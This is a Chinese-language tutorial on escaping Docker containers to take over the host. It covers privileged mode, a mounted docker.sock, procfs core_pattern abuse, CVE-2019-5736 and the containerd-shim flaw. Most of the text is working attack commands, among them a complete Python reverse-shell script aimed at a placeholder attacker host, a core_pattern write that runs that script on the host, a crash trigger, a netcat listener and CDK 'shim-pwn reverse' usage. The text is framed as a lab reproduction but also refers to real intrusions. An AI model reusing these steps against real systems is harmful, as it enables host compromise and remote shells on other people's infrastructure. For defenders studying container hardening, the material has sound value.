Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。
cat /proc/1/cgroup
ls -al / | grep "docker"
mount | grep '/ type'
fdisk -l
df -h | egrep '(overlay|aufs)'
特权模式是指在启动docker容器时,赋予了容器过高的权限,可以使容器将宿主机上的文件挂载到容器里面从而形成容器逃逸。
特权启动一般出现在主机分权明确的情况下,业务需要足够的权限进行启动,而管理员账号本身被并不具备,因此需要特权启动容器。
环境复现:
docker run --rm --privileged=true -it alpine
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
cat /proc/self/status | grep CapEff
特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
创建目录,并将分区挂载到目录中。
mkdir /test && mount /dev/vda1 /test
将 Docker Socket 挂载到容器中可以使容器内部的应用或进程直接与宿主机上的 Docker 守护进程通信,即给予容器控制宿主机上Docker实例的能力。
应用场景:
环境复现:
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
docker exec -it with_docker_sock /bin/bash
ls -al / | grep docker
ls -lah /var/run/docker.sock
检测容器中挂载有docker.socket文件,判断为docker.socket挂载启动
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
虽然已经检测到docker.socket已经被挂载到容器中,这只能说明已经具备和宿主机docker进程进行通信的能力,但是容器中并没有docker的客户端,无法使用docker命令,因此需要安装docker客户端。
docker run -it -v /:/host ubuntu /bin/bash
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部host目录中。
host目录中已经看到宿主机上的文件,后续利用可以在宿主机本身创建定时任务反弹shell。
退出容器时要退出两次才能到宿主机。
在 Docker 中,挂载 procfs (/proc 文件系统)到容器通常是为了从容器内部访问宿主机的 proc 文件系统,这通常用于高级监控、诊断或其他特殊的系统管理任务。/proc 文件系统是一个特殊的文件系统,它提供了一个接口到内核数据结构,主要用于访问有关系统和运行中进程的信息。
环境复现:
将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
ls -al / | grep docker
find / -name core_pattern
在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs
找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
将work目录变成merged目录就是容器所在宿主机的绝对路径
/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()
EOF
chmod 777 /tmp/.x.py
echo -e "|/var/lib/docker/overlay2/a992bcd6f19cb8cc5578b3732617c0547250a0a30e22faf5dd4de4a010044520/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
查看路径是否写入成功
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。
上述解释就是我们要将反弹shell文件路径写入core_pattern 中
安装vim以及gcc
apt-get update -y && apt-get install vim gcc -y
写入崩溃文件
cat >/tmp/x.c << EOF
#include
int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}
EOF
将文件赋予执行权限
gcc x.c -o x
在VPS中开启监听
nc -lvvp xxxx
./x
利用Docker本身漏洞进行逃逸
环境复现:
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
docker run -itd ubuntu:latest
POC下载地址CVE-2019-5736-PoC
对main.go文件内容进行修改
使用go环境进行编译
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。
docker cp main xxxx:/
chmod 777 main
./main
docker exec -it xxxx/bin/bash
管理员重新进入容器时,shell成功反弹,查看根目录下文件,并没有docker.env文件,逃逸成功。
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸。
漏洞复现:
containerd < 1.4.3
containerd < 1.3.9
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
用root用户以共享主机网络的方式启动容器–net=host
docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash
CDK
docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 evaluate
./cdk_linux_amd64 auto-escape id
显示执行id命令成功了,但是看不到回显结果,根据显示成功的关键字判断出存在哪个漏洞
./cdk_linux_amd64 run shim-pwn reverse <端口>
对于拿下docker环境后逃逸操作,java的环境默认就是高权限用户,php环境一般是低权限用户,需要进行提权后再进行逃逸。
CDK
container-escape-check